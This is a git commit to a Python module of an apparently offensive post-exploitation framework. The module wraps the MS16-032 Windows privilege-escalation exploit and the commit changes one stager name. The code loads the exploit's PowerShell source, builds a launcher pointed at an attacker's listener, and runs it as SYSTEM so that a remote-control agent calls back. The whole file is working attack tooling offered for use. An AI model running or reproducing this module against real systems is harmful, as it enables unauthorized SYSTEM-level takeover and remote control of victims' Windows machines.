<commit_before>from lib.common import helpers

class Module:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Invoke-MS16032',

            'Author': ['@FuzzySec', '@leoloobeek'],

            'Description': ('Spawns a new Listener as SYSTEM by'
                            ' leveraging the MS16-032 local exploit.'
                            ' Note: ~1/6 times the exploit won\'t work, may need to retry.'),
            'Background' : True,

            'OutputExtension' : None,

            'NeedsAdmin' : False,

            'OpsecSafe' : False,
            
            'Language' : 'powershell',

            'MinLanguageVersion' : '2',

            'Comments': [
                'Credit to <NAME> (@tiraniddo) for exploit discovery and',
                'to <NAME> (@FuzzySec) for PowerShell PoC',
                'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html',
                'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1'
            ]
        }

        self.options = {
            'Agent' : {
                'Description'   :   'Agent to grab a screenshot from.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Listener' : {
                'Description'   :   'Listener to use.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'Proxy' : {
                'Description'   :   'Proxy to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'ProxyCreds' : {
                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            }
        }

        self.mainMenu = mainMenu

        if params:
            for param in params:
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value


    def generate(self):
        
        moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1"
        try:
            f = open(moduleSource, 'r')
        except:
            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
            return ""

        moduleCode = f.read()
        f.close()

        script = moduleCode

        # generate the launcher code without base64 encoding
        l = self.mainMenu.stagers.stagers['launcher']
        l.options['Listener']['Value'] = self.options['Listener']['Value']
        l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
        l.options['Proxy']['Value'] = self.options['Proxy']['Value']
        l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
        l.options['Base64']['Value'] = 'False'
        launcherCode = l.generate()

        # need to escape characters
        launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")
        
        script += 'Invoke-MS16032 -Command "' + launcherCode + '"'
        script += ';`nInvoke-MS16032 completed.'

        return script<commit_msg>Fixed ms16-032 launcher, issue #359<commit_after>from lib.common import helpers

class Module:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Invoke-MS16032',

            'Author': ['@FuzzySec', '@leoloobeek'],

            'Description': ('Spawns a new Listener as SYSTEM by'
                            ' leveraging the MS16-032 local exploit.'
                            ' Note: ~1/6 times the exploit won\'t work, may need to retry.'),
            'Background' : True,

            'OutputExtension' : None,

            'NeedsAdmin' : False,

            'OpsecSafe' : False,
            
            'Language' : 'powershell',

            'MinLanguageVersion' : '2',

            'Comments': [
                'Credit to <NAME> (@tiraniddo) for exploit discovery and',
                'to <NAME> (@FuzzySec) for PowerShell PoC',
                'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html',
                'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1'
            ]
        }

        self.options = {
            'Agent' : {
                'Description'   :   'Agent to grab a screenshot from.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Listener' : {
                'Description'   :   'Listener to use.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'Proxy' : {
                'Description'   :   'Proxy to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'ProxyCreds' : {
                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            }
        }

        self.mainMenu = mainMenu

        if params:
            for param in params:
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value


    def generate(self):
        
        moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1"
        try:
            f = open(moduleSource, 'r')
        except:
            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
            return ""

        moduleCode = f.read()
        f.close()

        script = moduleCode

        # generate the launcher code without base64 encoding
        l = self.mainMenu.stagers.stagers['multi/launcher']
        l.options['Listener']['Value'] = self.options['Listener']['Value']
        l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
        l.options['Proxy']['Value'] = self.options['Proxy']['Value']
        l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
        l.options['Base64']['Value'] = 'False'
        launcherCode = l.generate()

        # need to escape characters
        launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")
        
        script += 'Invoke-MS16032 -Command "' + launcherCode + '"'
        script += ';`nInvoke-MS16032 completed.'

        return script
{'fraction_non_alphanumeric': 0.1342668863261944, 'fraction_numerical': 0.013454146073585941, 'mean_word_length': 1.5146703486365205, 'pattern_counts': {'":': 0, '<': 7, '<?xml version=': 0, '>': 7, 'https://': 4, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2482266', 'n_tokens_mistral': 2080, 'n_tokens_neox': 1922, 'n_words': 443}